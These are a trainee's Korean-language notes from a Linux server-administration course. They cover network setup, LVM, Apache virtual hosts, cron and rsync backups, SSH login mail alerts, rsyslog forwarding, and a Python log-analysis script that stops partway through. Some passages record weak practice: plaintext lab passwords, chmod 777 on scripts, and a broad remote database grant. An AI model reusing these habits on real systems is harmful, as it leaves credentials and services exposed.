노트 정리
날짜를 클릭하면 해당 날짜의 내용이 펼쳐집니다.
All Day Quest
체크리스트
›
일일 업무
1. 연습용 서버 및 원격 서버에 노트는 정상적으로 백업되는지 매일 확일할것
2. 서버 체크 리스트를 만들어서 매일 체크할것 (진짜 서버에 만들 예정)
3. /backup.yg.kr 에 정상적으로 백업되어 있는지 확인할것
4. 개인서버에 남아 있는 수상한 IP 매일 매일 차단하기
5. www.comcbt.com 들어가서 문제 풀기
2026-06-22
기본 환경 제작
›
할당받은 IP
192.168.0.20
192.168.0.251(전체 관리)에서 로그인은
ID : st610
Pass : pass
내부 콘솔 로그인
ID : user
Pass : pass
접속하면 가장 먼저 할 일.
ip 확인
ip addr
확인해보니 내가 받은 ip와 다르다.
ip를 내가 받은 ip로 변경해주고 스냅샷을 찍어줄 예정
sudo nano /etc/netplan/50-cloud-init.yaml
192.168.0.20 : address
192.168.0.1 : gateway
192.168.0.99 : 전주컴 dns
168.126.63.1 : kt dns
network:
version: 2
ethernets:
ens160:
dhcp4: no
addresses: [192.168.0.20/24]
gateway4: 192.168.0.1
nameservers:
addresses: [192.168.0.99, 168.126.63.1]
변경사항 저장 후 나오기
저장을 한 후에 ip addr을 입력해보니 바뀌지 않았다.
변경된 설정을 적용해주지 않았기 때문.
sudo netplan apply
또는 Reboot
다시 확인해보면 192.168.0.20으로 정상적으로 변경된 것을 알 수 있다.
Xshell로 접속하기.
설정이 완료되었으면 이제 외부접속툴로 접속해도 된다.
Xshell을 이용하여 접속.
새 세션 만들어주기.
Host : 192.168.0.20
유틸 설치 후 스냅샷 걸기
접속이 정상적으로 되는것을 확인 했으면 스냅샷 걸기.
스냅샷 걸기전에 필수 유틸(프로그램)설치
sudo apt update
sudo apt -y upgrade
sudo apt -y install net-tools
sudo apt -y install lrzsz
sudo apt -y install unzip
설치를 다 했으면 스냅샷 걸기
192.168.0.251 가상서버 관리 페이지로 이동
시스템 우클릭 -> 스냅샷 -> 스냅샷 생성
기본적인 세팅 끝
ping으로 네트워크가 되는지 확인
ping 168.126.63.1
nslookup jeonjucom.kr
sudo nano /etc/resolv.conf
nameserver 127.0.0.53 를
nameserver 192.168.0.99 로 변경
192.168.0.174로 웹 접속
cd / 목록
ls
bin
bin.usr-is-merged
boot
cdrom
dev
etc
home
lib
lib64
lib.usr-is-merged
lost+found
media
mnt
opt
proc
root
run
sbin
sbin.usr-is-merged
snap
srv
swap.img
sys
tmp
usr
var
사용자 추가.
cd home
ls 입력했을때 master만 나옴
adduser로 yg추가
pass만 입력 후 나머지는 전부 엔터로 넘기기.
다시 ls로 확인해보면 master와 yg가 나옴
LVM으로 파티션 구성하기
lsblk로 파티션 구성 확인
home에 있는 정보를 백업으로 이동하고 싶다.
왜? 새로운 disk에 home을 연결하고 싶어서.
backup 디렉토리가 없는데?
만들면 된다.
sudo mkdir /backup
cd ..
ls
backup 디렉토리가 정상적으로 생성된것을 확인 할 수 있다.
sudo tar cvzf home.tar.gz ./
sudo mv home.tar.gz /backup
sde,sdf,sdg (1G,2G,3G=6G)로 사용
파티션 > 포맷 > 마운트
sda > /home
yg master
lost+found
sudo pvcreate /dev/sdd /dev/sde /dev/sdf
sudo pvs
sudo vgcreate vg_data /dev/sdd /dev/sde /dev/sdf
sudo vgs
sudo lvcreate -l 100%FREE -n lv_storage vg_data
sudo lvs
sudo mkfs.ext4 /dev/vg_data/lv_storage
sudo mount /dev/vg_data/lv_storage /home
df -h로 마운트 되었는지 확인
lsblk로 전체 파티션 확인
sudo reboot
df -h로 확인해보니 논리 볼륨의 연결이 끊어져있다.
매번 재부팅 할때마다 마운트를 해줘야 하는거냐?
그럴리가. 작업을 해주면 된다.
sudo nano /etc/fstab
/dev/vg_data/lv_storage[tab]ext4[tab]defaults[tab]0[tab]0
설정 저장 하고 reboot를 해주면 정상적으로 연결이 된다.
df -h로 확인해보니
/dev/mapper/vg_data-lv_storage 5.9G 24K 5.5G 1% /home
정상적으로 붙은것을 확인 할 수 있었다.
sudo fdisk /dev/sdd
sudo fdisk /dev/sde
sudo fdisk /dev/sdf
서버의 용도
IP : 192.168.0.20
S/M : 255.255.255.0
G/W : 192.168.0.1
DNS : 192.168.0.99
168.126.63.1
도메인 : yg.kr
웹 서버 설치
sudo apt -y install apache2
sudo systemctl start apache2
netstat -ant | grep 80
sudo systemctl enable apache2
http://192.168.0.20
http://yg.kr
웹페이지 저장 위치 : /var/www/html/index.html
cd /var/www
ls -la
파일서버
메일서버
네임서버
프록시서버
ftp서버
클라우드서버
클라우드 컴퓨트
오늘 한 일 :
개인이 할당받은 서버의 네트워크 기초 설정 (본인 ip와 맞추기),
유틸 프로그램 설치 (net-tools, lrzsz, unzip),
복원을 위한 스냅샷 찍기, /home 디렉토리를 lvm과 연결,
웹서버 기본 설치 (Apashe2)
내일 할 일 :
아파치 설정 변경하기,
웹페이지 저장 위치를 바꿔주기,
웹페이지 제작
2026-06-23
웹서버 제작 및 백업
›
네트워크 점검
먼저 네트워크에 이상이 있는지 점검해보기
sudo cat /etc/netplan/50-cloud-init.yaml
할당받은 ip (192.168.0.20)으로 되어있는지 점검
네임서버 설정 점검
sudo cat /etc/resolv.conf
네임서버가 (192.168.0.99)로 되어있는지 확인
호스트 이름 변경하기
hostname으로 이름 확인하기
sudo hostnamectl set-hostname IP020
skel을 활용한 사용자 추가
먼저 홈 디렉토리에 옮겼던 이삿짐을 다시 옮겨주자
cd /backup
sudo mv home.tar.gz /home
cd /home
sudo tar xvzf home.tar.gz
사용자를 추가하면서와 동시에 /home/st/public_html도 만들어졌으면 좋겠다
cd /etc/skel 안에 디렉토리를 만들어주면 된다
sudo mkdir public_html
cd public_html
sudo mkdir logs
sudo touch index.html
cd logs
sudo touch access.log
sudo touch error.log
사용자 추가
sudo adduser st6
sudo su
cd st6
st6 사용자로 들어가 봤더니
/etc/skel에서 만든 public_html이 생성되어 있었다
user st1 ~ st5까지 추가
st1.yg.kr > /home/st1/public_html
st2.yg.kr > /home/st2/public_html
st3.yg.kr > /home/st3/public_html
st4.yg.kr > /home/st4/public_html
st5.yg.kr > /home/st5/public_html
st6.yg.kr > /home/st6/public_html
웹서버 제작
apache2의 기본경로는 /var/www/html/index.html인데
이건 루트 소유다
그래서 설정 위치를 바꿔줄것
http://st1.yg.kr을 입력했을때 /home/st1/public_html로 이동되게 하고 싶다
cd /etc/apache2/sites-available/
sudo nano hosting.conf
<VirtualHost *:80>
DocumentRoot /home/master/public_html
ServerName yg.kr
ServerAdmin webmaster@yg.kr
ErrorLog /home/master/public_html/logs/error.log
CustomLog /home/master/public_html/logs/access.log combined
</VirtualHost>
<VirtualHost *:80>
DocumentRoot /home/st1/public_html
ServerName st1.yg.kr
ServerAdmin webmaster@st1.yg.kr
ErrorLog /home/st1/public_html/logs/error.log
CustomLog /home/st1/public_html/logs/access.log combined
</VirtualHost>
<VirtualHost *:80>
DocumentRoot /home/st6/public_html
ServerName st6.yg.kr
ServerAdmin webmaster@st6.yg.kr
ErrorLog /home/st6/public_html/logs/error.log
CustomLog /home/st6/public_html/logs/access.log combined
</VirtualHost>
st6까지 만들어준다
master에는 skel로 생성된 public_html 폴더가 없으니까 직접 만들어 준다
apache2를 시작하면 기본적으로 000-default.conf를 먼저 읽는다
000-default.conf 파일을 쓰지 않고
내가 만든 hosting.conf 파일을 읽게 하고싶다
sudo a2ensite hosting
sudo a2dissite 000-default
설정 파일 활성화,비활성화 해준 후 아파치 재시작
sudo systemctl restart apache2
또는
sudo systemctl stop apache2
sudo systemctl start apache2
제대로 설정이 되었다면 yg.kr 또는 192.168.0.20을 웹에 입력했을때
Forbidden이 뜨면 정상이다
st1.yg.kr ~ st6.yg.kr도 마찬가지
403 Forbidden이 뜨는 이유
왜 Forbidden이 뜰까?
경로는 열어놨는데 파일의 접근을 막아뒀기 때문
sudo a2enmod userdir
유저 디렉토리에 접근 할 수 있도록 권한 변경
chmod 711 /home/master
chmod 755 /home/master/public_html
다른 유저의 디렉토리를 변경하려면 sudo로 실행
sudo chmod 711 /home/st1
sudo chmod 755 /home/st1/public_html
sudo chmod 711 /home/st6
sudo chmod 755 /home/st6/public_html
sudo systemctl restart apache2
yg.kr > /home/master/public_html/index.html
st1.yg.kr > /home/st1/public_html/index.html
st6.yg.kr > /home/st6/public_html/index.html
웹페이지 제작
VScode설치
Korean Language와 ftp-simple 다운
VScode를 이용하여 웹 페이지 제작
만들어진 index.html의 내용을 복사해서 Xshell에 있는 index.html에 넣기
192.168.0.20 또는 yg.kr로 접속했을 때 만든 웹이 보이면 성공
백업하기
지켜야할것이 너무 많아졌다
백업을 하자
백업은 RAID를 사용해서 구성해 줄 예정
nano backup.sh
#!/bin/bash
# ===== 설정 =====
SOURCE_DIR="/home/master/public_html" # 백업할 디렉터리
BACKUP_DIR="/backup" # 백업 저장 위치
RETENTION_DAYS=30 # 보관 기간(일)
# ===== 변수 =====
DATE=$(date +"%Y-%m-%d_%H-%M-%S")
BACKUP_FILE="$BACKUP_DIR/backup_$DATE.tar.gz"
# ===== 백업 디렉터리 생성 =====
mkdir -p "$BACKUP_DIR"
# ===== 백업 수행 =====
echo "[$(date)] 백업 시작"
tar -czf "$BACKUP_FILE" "$SOURCE_DIR"
if [ $? -eq 0 ]; then
echo "[$(date)] 백업 성공: $BACKUP_FILE"
else
echo "[$(date)] 백업 실패"
exit 1
fi
#
# ===== 오래된 백업 삭제 =====
find "$BACKUP_DIR" -name "backup_*.tar.gz" -type f -mtime +$RETENTION_DAYS -delete
echo "[$(date)] 오래된 백업 정리 완료"
echo "[$(date)] 작업 종료"
chmod 777 backup.sh
./backup.sh 로 실행을 해주면 실행이 되지 않는다
당연하지 backup의 소유가 root기 때문
sudo ./backup.sh
이렇게 실행해주면 정상적으로 backup.sh가 작동이 된다
이제 매번 새벽 2시에 일어나서 백업을 실행해주면 된다!
백업 자동화
누가 그렇게 하겠어 자동화를 시키자
sudo nano /etc/crontab
매일 새벽 2시 실행
0 2 * * * /home/user/scripts/backup.sh
매일 오전 1시 30분 실행
30 1 * * * /home/user/scripts/backup.sh
매주 일요일 새벽 3시 실행
0 3 * * 0 /home/user/scripts/backup.sh
매시간 실행
0 * * * * /home/user/scripts/backup.sh
0 2 * * * /home/user/scripts/backup.sh >> /var/log/backup.log 2>&1
원하는 옵션 저장 후 cron 재시작
sudo systemctl restart cron
일일 업무
나는 보내고 94번은 받고
일일업무
1. 연습용 서버에 노트는 정상적으로 백업되는지 매일 확일할것
2. 서버 체크 리스트를 만들어서 매일 체크할것 (진짜 서버에 만들 예정)
3. /backup.yg.kr 에 정상적으로 백업되어 있는지 확인할것
오늘 한 일 :
네트워크에 이상이 있는지 점검하기,
skel을 사용하여 사용자가 추가될 때 폴더도 같이 추가되게 하기,
Apache2 설정을 바꿔준 후 웹 페이지 보이게 하기,
지켜야 할 것이 생겼으니 백업하기
내일 할 일 :
백업 파일을 원격 백업하기,
로그 시스템 구축하기,
취약서버 공격하기
2026-06-24
원격 백업 및 메일 알람
›
백업 확인
자고 일어나서 백업이 자동으로 되어있는지 확인해 봤더니 백업이 되어있지 않았다
왜? 서버 시간이 다르기 때문 = 한국 시간이 아니다
date
Tue Jun 23 11:53:18 PM UTC 2026
sudo timedatectl set-timezone Asia/Seoul
sudo timedatectl set-time "2026-06-24 01:59:00" <수동 세팅
Failed to set time: Automatic time synchronization is enabled
ntp가 켜져있으면 수동으로 시간 세팅이 되지 않는다
= 계속 동기화를 시도하기 때문
sudo timedatectl set-ntp false
수동세팅 해주기 전에 /backup에 있는 파일을 다 지워주자
sudo rm -rf backup*
ntp를 종료 해주고 다시 수동세팅을 해주면 된다
sudo timedatectl set-time "2026-06-24 01:59:00"
시간을 되돌려서 자동 백업이 되는지 확인해 준다
backup_2026-06-24_02-00-01.tar.gz
정상적으로 백업이 된 것이 확인되었으면 다시 ntp를 활성화해서 동기화
sudo timedatectl set-ntp true
원격 디렉토리에 백업하기
sudo rsync -avz --exclude-from=/etc/rsync_exclude.lst /backup/ 192.168.0.94::ip020
처음 시도하면 원격백업이 작동되지 않는다
에러를 읽어보면 rsync_exclude.lst이 없다고 나온다
만들어주면 될 일
sudo touch /etc/rsync_exclude.lst
만들어주고 다시 시도해보면 backup_2026-06-24_02-00-01.tar.gz이 정상적으로 원격 디렉토리로 전송이 된다
원격 디렉토리로 백업 자동화를 시켜주려면?
10 2 * * * root sudo rsync -avz --exclude-from=/etc/rsync_exclude.lst /backup/ 192.168.0.94::ip020
경로 대신 명령어를 넣어주면 된다
rsync의 옵션 조합
-a : 파일의 모든 속성을 그대로 유지하며 하위 디렉터리까지 복사
-v : 동기화 진행 상황을 화면에 출력
-z : 데이터를 압축하려 전송
-r : 하위 디렉터리까지 재귀적으로 복사 (-a에 포함)
-P : 전송 중에 네트워크가 끊겨도 이어서 전송 가능
--delete : 동기화 후 삭제. 원본에서 지워진 파일이 있으면 목적지에서도 삭제
-c : 파일의 Checksum(해시값)을 직접 비교하여 더 정확한 변경 여부 확인
--exclude=패턴 : 특정 파일이나 디렉터리를 백업에서 제외
--exclude-from=파일경로: 제외할 패턴이 많을 때, 그 목록을 적어둔 텍스트 파일을 지정
--include=패턴: 제외 규칙이 적용된 상태에서 특정 파일만 다시 포함하고 싶을 때 사용
-u : 목적지에 있는 파일이 원본보다 최신 버전 이라면 건너뛰기
-e : ssh포트가 기본값이 아니라면 포트번호 지정 ex)-e 'ssh -p 2222'
--bwlimit=KBPS : 네트워크 대역폭 제한
-n : 시뮬레이션 모드. 어떤 파일들이 변경될지 테스트 가능
미러링 백업을 원한다면?
sudo rsync -avz --delete --exclude-from=/etc/rsync_exclude.lst /backup/ 192.168.0.94::ip020
접속 알림
다른 누군가가 내 서버로 얼마든지 접속이 가능하다
누군가가 들어오면 들어왔다고 나에게 알려줬으면 좋겠다
어떻게? 메일로 또는 파이썬을 이용해서 카카오톡으로 연결 할 수도 있다
먼저 메일을 통해서 알람 받기
구현시키려면?
접속을 할 때 어떤 파일이 작동을 하는지 이해해야함
cat /etc/profile
로그인을 할 때 /etc/pro file이 작동을 하더라
nslookup mail.jeonjucom.kr
했을떄 조회가 되어야 메일이 간다
sudo apt -y install mailutils
postfix configuration
postfix 이게 뭔데? 우체부 아저씨다
sendmail, postfix 두 종류가 있다
mail -s "IP020" log@mail.jeonucom.kr
Cc:
hi
ctrl+D
메일을 작성해서 보내보면?
cannot send message: Process exited with a non-zero status
위와 같은 에러가 뜨면서 메일이 가지 않는다
netstat -ant | grep 25
25번 포트가 검색되지 않는다 = postfix가 없거나 작동되지 않았다
sudo systemctl start postfix
sudo systemctl restart postfix
sudo nano /etc/hostname
IP020.jeonjucom.kr
IP020.yg.kr
sudo apt -y install postfix
sudo cp main.cf.proto main.cf
postconf mail_version
3.6.4 : main.cf가 기본적으로 존재함
3.8.6 : main.cf를 생성해 줘야함
서버 접속시 알람은 오는가?
0. sudo apt -y install mailutils 설치
1. 네임서버를 99로 변경한다. 또는 확인한다
log@mail.jeonjucom.kr
nslookup mail.jeonjucom.kr
2. sudo nano /etc/hostname 으로
IP020.jeonjucom.kr
IP020.yg.kr
3. sudo nano /etc/postfix/main.cf 의 내용을 변경하던가 또는 검증된 설정파일로 변경
1) 변경 해보기
2) 검증된 설정파일 사용하기(추천)# line 82 : uncomment mail_owner = postfix # line 98 : uncomment and specify hostname myhostname = ip026.lsw.kr # line 106 : uncomment and specify domainname mydomain = lsw.kr # line 127 : uncomment myorigin = $mydomain # line 141 : uncomment inet_interfaces = all # line 189 : uncomment mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain # line 232 : uncomment local_recipient_maps = unix:passwd.byname $alias_maps # line 277 : uncomment mynetworks_style = subnet # line 294 : add your local network mynetworks = 127.0.0.0/8, 192.168.0.0/24 # line 416 : uncomment alias_maps = hash:/etc/aliases # line 427 : uncomment alias_database = hash:/etc/aliases # line 449 : uncomment home_mailbox = Maildir/ # line 585: comment out and add #smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu) smtpd_banner = $myhostname ESMTP # line 659 : add sendmail_path = /usr/sbin/postfix # line 664 : add newaliases_path = /usr/bin/newaliases # line 669 : add mailq_path = /usr/bin/mailq # line 675 : add setgid_group = postdrop # line 679 : comment out #html_directory = # line 683 : comment out #manpage_directory = # line 688 : comment out #sample_directory = # line 692 : comment out #readme_directory = # line 693 : if also listen IPv6, change to [all] inet_protocols = ipv4 # add follows to last line # disable SMTP VRFY command disable_vrfy_command = yes # require HELO command to sender hosts smtpd_helo_required = yes # limit an email size # example below means 10M bytes limit message_size_limit = 10240000 # SMTP-Auth settings smtpd_sasl_type = dovecot smtpd_sasl_path = private/auth smtpd_sasl_auth_enable = yes smtpd_sasl_security_options = noanonymous smtpd_sasl_local_domain = $myhostname smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination
sudo newaliases
sudo systemctl restart postfix
4. 메일보내기
mail -s "IP026" log@mail.jeonjucom.kr
Cc:
hi
설정에 문제가 없다면 메일이 정상적으로 보내진다
cd /home
.bash_history : 입력했던 명령어들이 저장되는 파일
.bash_logout : 로그아웃하거나 창을 닫을때 시스템이 마지막으로 처리해야 할 일을 지정해 두는 파일
.bashrc : 새 터미널 창을 열 때 마다 실행되는 개인 설정 파일
.profile : 처음 로그인할때 한 번만 실행되는 설정 파일 (시스템 전반에 적용할 환경변수를 설정하는 곳
로그인 할 떄 : .profile이 먼저 실행됨 (.profile 내부적으로 .bashrc를 호출함)
새 터미널 창을 열 떄 : .bashrc가 실행됨
명령어를 쓸 때 : .bash_history에 저장됨
로그아웃할 때 : .bash_logout이 실행됨
cd ~
env > env.txt
sz env.txt
sudo nano test.sh
IP="$(echo $SSH_CONNECTION | cut -d " " -f 1)"
HOSTNAME=$(hostname)
echo $SSH_CONNECTION
echo $IPsudo nano /etc/profile
echo $HOSTNAME
#변수와 =을 붙여야함
chmod 777 test.sh
./test.sh
실행시켜 보면
192.168.0.205 65356 192.168.0.20 22
nano /etc/profile
IP020
ip와 hostname이 보인다
sudo nano /etc/profile
#add
IP="$(echo $SSH_CONNECTION | cut -d " " -f 1)"
HOSTNAME=$(hostname)
NOW=$(date +"%e %b %Y, %a %r")
echo 'Someone from '$IP' logged into '$HOSTNAME' on '$NOW'.' |
mail -s 'SSH Login Notification' log@mail.jeonjucom.kr
마지막줄에 추가 해주고
source /etc/profile
변경시켜준 profile을 적용시켜준 후 터미널을 재접속 해보면
정상적으로 메일이 보내진다.
접속 차단
외부인이 내 서버에 접속할 수 있다
나만 접속할 수 있도록 설정을 바꿔보자
sudo nano /etc/hosts.allow
sshd : 192.168.0.205 (컴퓨터 IP 추가)
sudo nano /etc/hosts.deny
ALL : ALL (모든 IP 차단, 단 allow 우선)
cd /var/log
누군가 접속하려는 기록은 auth.log에 저장된다.
tail -f auth.log
취약서버 확인하기
121.154.49.109 = victim.izerone.co.kr
웹 서버 운영 Tomcat
/var/www/html/index.html
/var/lib/tomcat9/webapps/ROOT/index.html
퀴즈1
victim.izerone.co.kr 서버 종류는 무엇인가?
cat /etc/*release*
Ubuntu 22.04
victim.izerone.co.kr 열려 있는 포트는 무엇인가?
netstat -ant
22,21,80,8080,10050
victim.izerone.co.kr 서버의 시간은 정확한가?
date
정확하지 않음 = UTC로 적용되어 있음
victim.izerone.co.kr 보안조치가 되어있는가?
cd /backup
backup 디렉터리는 있으나 내용이 없음
cat /etc/profile 확인 결과
알람기능 없음
cat /etc/crontab 확인 결과
특별한 자동화 내용 없음 = 백업 자동화가 되어있지 않음
lsblk
df -f
sdb는 아직 사용하지 않음
결론 victim.izerone.co.kr 서버는 자바용 서버다.
이유는? tomcat9을 사용
데이터가 한번 날아가면 복구 불가능
외부에서 접속해도 모름
/var/www/html/index.html
/var/lib/tomcat9/webapps/ROOT/index.html
victim.izerone.co.kr 추가적으로 적용해야할 보안 조치는 무엇이 있는가?
백업 활성화 및 자동화, 터미널 접속 알림기능 추가
로그 서버에 연결하기
로그 시스템 구축하기 (rsyslog)
포트 514의 정체는 무엇인가?
시스템 로그(Syslog)프로토콜이 사용하는 표준 포트
로그서버(118)과 연결된 서버는?
메인서버,90번 = 중요한 서버
오늘 한 일
원격 백업 설정하기(rsync),
내 서버에 접속시 메일을 통한 알림,
외부 IP 접속 차단하기,
취약서버 확인하기
내일 할 일
로그 서버 연결하기
2026-06-25
파이썬을 활용한 로그 분석 및 원격 전송
›
일일 업무
일일 업무
Q. 노트는 정상적으로 백업되었는가?
A. /backup 폴더에 정상적으로 backup_2026-06-25_02-00-01.tar.gz 백업 파일이 있음을 확인
Q. 94번 서버로 정상적으로 전송되어 있는가?
A. 94번 서버에 정상적으로 backup_2026-06-24_02-00-01.tar.gz 파일과 backup_2026-06-25_02-00-01.tar.gz 파일이 있는 것을 확인
rsyslog를 활용한 분석
rsyslog는 리눅스에서 시스템 로그를 수집/저장/전송하는 서비스
/var/log/syslog : 일반 시스템 로그
/var/log/auth.log : 인증/SSH/sudo
/var/log/kern.log : 커널 로그
/var/log/dpkg.log : 패키지 설치 로그
/var/log/apache2/ : Apache 로그
/var/log/nginx/ : Nginx 로그
웹서버(Nginx/Apache) + 시스템 로그를 한 서버로 모으는 rsyslog 구성
다른 서버 로그를 받아서 중앙 로그 서버로 만드는 설정
Ubuntu 서버에서 rsyslog로 SSH 접속 로그만 따로 저장하는 설정
rsyslog로 로그를 분석하자
로그를 118로 보내기
cd /etc/rsyslog.d
sudo nano r.conf# /etc/rsyslog.conf configuration file for rsyslog # # For more information install rsyslog-doc and see # /usr/share/doc/rsyslog-doc/html/configuration/index.html # # Default logging rules can be found in /etc/rsyslog.d/50-default.conf ################# #### MODULES #### ################# module(load="imuxsock") # provides support for local system logging #module(load="immark") # provides --MARK-- message capability # provides UDP syslog reception #module(load="imudp") #input(type="imudp" port="514") # provides TCP syslog reception #module(load="imtcp") #input(type="imtcp" port="514") # provides kernel logging support and enable non-kernel klog messages module(load="imklog" permitnonkernelfacility="on") ########################### #### GLOBAL DIRECTIVES #### ########################### # Filter duplicated messages $RepeatedMsgReduction on # # Set the default permissions for all log files. # $FileOwner syslog $FileGroup adm $FileCreateMode 0640 $DirCreateMode 0755 $Umask 0022 $PrivDropToUser syslog $PrivDropToGroup syslog # # Where to place spool and state files # $WorkDirectory /var/spool/rsyslog # # Include all config files in /etc/rsyslog.d/ # $IncludeConfig /etc/rsyslog.d/*.conf auth,authpriv.* @192.168.0.118:514 *.* @@192.168.0.118:514 #192.168.0.118:514번 으로 보냄 #auth,authpriv.* @192.168.0.95:514 #*.* @@192.168.0.96:514 #auth,authpriv.* @192.168.0.204:514 #*.* @@192.168.0.204:514
이렇게 설정해 주면 중앙서버(118)로 보낼 준비가 완료되었다
118은 로그 받기################# #### MODULES #### ################# #module(load="imuxsock") # provides support for local system logging #module(load="immark") # provides --MARK-- message capability # provides UDP syslog reception #module(load="imudp") #input(type="imudp" port="514") # provides TCP syslog reception module(load="imtcp") input(type="imtcp" port="514") $AllowedSender TCP, 127.0.0.1, 192.168.0.0/24 # 192.168.0.0/24를 허용해줘서 받을 준비가 되어있음 # provides kernel logging support and enable non-kernel klog messages module(load="imklog" permitnonkernelfacility="on") # connect databases; #module(load="ommysql") #*.* action(type="ommysql" server="localhost" db="Syslog" uid="rsyslog" pwd="rsyslog") ########################### #### GLOBAL DIRECTIVES #### ########################### #$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat # Filter duplicated messages $RepeatedMsgReduction on # # Set the default permissions for all log files. # $FileOwner syslog $FileGroup adm $FileCreateMode 0640 $DirCreateMode 0755 $Umask 0022 $PrivDropToUser syslog $PrivDropToGroup syslog # # Where to place spool and state files # $WorkDirectory /var/spool/rsyslog # # Include all config files in /etc/rsyslog.d/ # $IncludeConfig /etc/rsyslog.d/*.conf # # Log Templates # #$template RemoteLogs, "/var/log/remote/%HOSTNAME%/%PROGRAMNAME%.log" #*.* ?RemoteLogs #debuglog /var/log/rsyslog-debug.log
118은 받은 로그를 데이터베이스에 저장함
로그 원격 전송을 위한 단계
1. 워크벤치를 통해 본인 데이터 확인하기
2. 파이썬 개발환경 만들기
3. 프로그램 만들기
4. 알람 확인하기
5. cron에 적용하기
MySQL Workbench
MySQL Workbench 다운로드
Workbench가 뭔데?
Xshell과 비슷하게 원격에서 DB에 접속하게 해주는 프로그램
https://dev.mysql.com/downloads/file/?id=552199
192.168.0.118번과 연결
시도를 해보면 접속이 되지 않는다
DB는 기본적으로 아주 중요하기 때문에 접속을 막아뒀기 때문
DB에 접속이 되도록 IP를 넣어주면 된다
CREATE USER 'rsyslog'@'192.168.0.205' IDENTIFIED BY 'rsyslog';
GRANT ALL PRIVILEGES ON Syslog.* TO 'rsyslog'@'192.168.0.205';
flush privileges;
DB에서 나의 로그를 찾아보려면?
SELECT FromHost, Message, ReceivedAt FROM Syslog.SystemEvents where FromHost='IP026';
DB에서 필요한 로그만 추출
미션!
로그 서버 118의 데이터베이스를 연결해서 본인 호스트 로그만 간단하게
출력하는 파이썬 프로그램 만들어라!
sudo apt update
sudo apt -y install python3-venv
python3 -m venv mysite
cd mysite
cd bin
. activate
(mysite)가 터미널 앞에 붙음
pip install --upgrade pip
pip install pymysql
pip install pymysql pandas openpyxl
pip install matplotlib requests
cd ~
nano .profile
alias mysite='export FLASK_APP=monitor;export FLASK_DEBUG=true;export APP_CONFIG_FILE=/home/master/projects/flask/config/production.py;cd ~/projects/flask;. ~/mysite/bin/activate'
mysite를 입력하면 cd /home/master/mysite/bin 에서
. activate를 실행한것과 같은 결과가 나옴
source .profile
.profile을 다시 적용시키면서 (mysite)에서 나와짐
mysite
-bash: cd: /home/master/projects/flask: No such file or directory
디렉터리가 없어서 에러가 발생함
디렉터리를 생성해주면 된다
바로 할 필요는 없음
test1.pyimport pymysql try: conn = pymysql.connect( host='192.168.0.118', port=3306, user='user', password='pass', database='Syslog', charset='utf8mb4' ) print("MySQL 연결 성공!") with conn.cursor() as cursor: cursor.execute("SELECT NOW()") result = cursor.fetchone() print("현재 시간:", result[0]) except pymysql.MySQLError as e: print("MySQL 오류:", e) finally: if 'conn' in locals(): conn.close() print("MySQL 연결 종료")
chmod 777 test1.py
python3 test1.py
Check.pyimport re import csv import pymysql import subprocess from datetime import datetime # 1. 데이터베이스 및 전역 설정 DB_CONFIG = { "host": "192.168.0.118", "port": 3306, "user": "user", "password": "password", "database": "Syslog", "charset": "utf8mb4", # 무제한 전체 조회를 위해 서버 사이드 딕셔너리 커서(SSDictCursor) 사용 "cursorclass": pymysql.cursors.SSDictCursor } TABLE_NAME = "SystemEvents" TARGET_HOST = "IP090" OUTPUT_CSV = f"{TARGET_HOST}_systemevents_access_trace.csv" # 메일 설정 MAIL_TO = "log@mail.jeonjucom.kr" MAIL_SUBJECT = f"[{TARGET_HOST}] Syslog Access Trace Integrated Report by IP020" # 로그 필터링 키워드 리스트 ACCESS_KEYWORDS = [ "Accepted password", "Accepted publickey", "Failed password", "Invalid user", "session opened", "session closed", "sudo", "authentication failure", "Connection closed", "Disconnected from", "login", "logout", "GET ", "POST " ] # IPv4 추출을 위한 정규표현식 IP_REGEX = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b") def extract_ip(text): """로그 메시지 내에서 첫 번째로 매칭되는 IP 주소를 추출합니다.""" if not text: return "" m = IP_REGEX.search(text) return m.group(0) if m else "" def classify_access(syslogtag, message): """로그 속성을 분석하여 접속 유형 카테고리를 분류합니다.""" tag = (syslogtag or "").lower() msg = (message or "").lower() if "accepted password" in msg or "accepted publickey" in msg: return "SSH_LOGIN_SUCCESS" elif "failed password" in msg: return "SSH_LOGIN_FAILED" elif "invalid user" in msg: return "SSH_INVALID_USER" elif "session opened" in msg: return "SESSION_OPENED" elif "session closed" in msg: return "SESSION_CLOSED" elif "sudo" in tag or "sudo" in msg: return "SUDO_ACTIVITY" elif "authentication failure" in msg: return "AUTH_FAILURE" elif "get " in msg or "post " in msg: return "WEB_ACCESS" else: return "OTHER" def is_access_log(syslogtag, message): """접속 관련 주요 키워드가 포함된 로그인지 검사합니다.""" combined = f"{syslogtag or ''} {message or ''}".lower() return any(k.lower() in combined for k in ACCESS_KEYWORDS) def fetch_logs(): """데이터베이스에서 해당 호스트의 모든 로그를 수집합니다.""" conn = pymysql.connect(**DB_CONFIG) try: with conn.cursor() as cursor: sql = f""" SELECT ID, ReceivedAt, DeviceReportedTime, Facility, Priority, FromHost, SysLogTag, Message FROM {TABLE_NAME} WHERE FromHost = %s ORDER BY ReceivedAt DESC """ cursor.execute(sql, (TARGET_HOST,)) return cursor.fetchall() finally: conn.close() def analyze_logs(rows): """수집된 로우 데이터를 순회하며 접근 기록만 필터링 및 구조화합니다.""" results = [] for row in rows: syslogtag = row.get('SysLogTag') message = row.get('Message') if not is_access_log(syslogtag, message): continue results.append({ "id": row.get('ID'), "received_at": str(row.get('ReceivedAt')), "device_time": str(row.get('DeviceReportedTime')), "host": row.get('FromHost'), "syslogtag": syslogtag, "facility": row.get('Facility'), "priority": row.get('Priority'), "remote_ip": extract_ip(message), "access_type": classify_access(syslogtag, message), "message": message }) # 과거 데이터부터 최신순으로 정렬하여 분석에 용이하게 합니다 results.sort(key=lambda x: x["received_at"]) return results def generate_integrated_report(output_list, results_data, title_prefix): """실패와 성공 횟수를 가로로 합쳐서 가독성이 높은 하나의 표로 빌드합니다.""" ip_stats = {} for r in results_data: ip = r['remote_ip'] if not ip: continue if ip not in ip_stats: ip_stats[ip] = {"success_count": 0, "failed_count": 0, "last_time": r['received_at']} if r['access_type'] == "SSH_LOGIN_SUCCESS": ip_stats[ip]["success_count"] += 1 ip_stats[ip]["last_time"] = r['received_at'] elif r['access_type'] in ["SSH_LOGIN_FAILED", "SSH_INVALID_USER"]: 